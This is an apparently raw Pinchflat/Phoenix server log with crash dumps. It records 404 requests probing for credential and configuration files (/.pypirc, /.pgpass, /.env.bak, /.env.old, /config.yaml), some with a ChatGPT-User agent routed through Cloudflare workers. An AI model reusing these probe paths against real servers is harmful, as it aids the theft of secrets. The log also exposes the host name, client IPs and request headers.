in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pypirc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVdqIJGvwR4AAWfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", (truncated) 02:50:34.314 [info] HEAD /.pgpass 02:50:34.315 [debug] QUERY OK source="settings" db=0.2ms idle=22.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.315 [debug] QUERY OK source="settings" db=0.1ms idle=18.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.315 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.316 [error] #PID<0.3752.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.pgpass ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3752.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pgpass", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHViBQhnqMcMAAWhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3752.0>, params: %{}, path_info: [""], (truncated) 02:50:36.474 [info] GET /.env.bak 02:50:36.474 [debug] QUERY OK source="settings" db=0.2ms idle=748.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.474 [debug] QUERY OK source="settings" db=0.0ms idle=748.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.474 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:36.475 [error] #PID<0.3753.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd8582c714b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "luxxfb6ed199me8g.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3753.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdd8582c714b-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "luxxfb6ed199me8g.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHdk2KRRJGoIAAWiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd8582c714b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "luxxfb6ed199me8g.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd8582c714b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "luxxfb6ed199me8g.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_bo (truncated) 02:50:36.528 [info] GET /.env.old 02:50:36.529 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=802.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.530 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=803.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.530 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:36.531 [error] #PID<0.3754.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd89f16f95d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "0a372453qrt5.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3754.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdd89f16f95d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "0a372453qrt5.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHdxzagdHKbAAAWjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd89f16f95d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "0a372453qrt5.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdd89f16f95d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "0a372453qrt5.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID (truncated) 02:50:36.954 [info] GET /config.yaml 02:50:36.954 [debug] QUERY OK source="settings" db=0.1ms idle=910.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.954 [debug] QUERY OK source="settings" db=0.0ms idle=480.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:36.954 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:36.955 [error] #PID<0.3755.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 11) 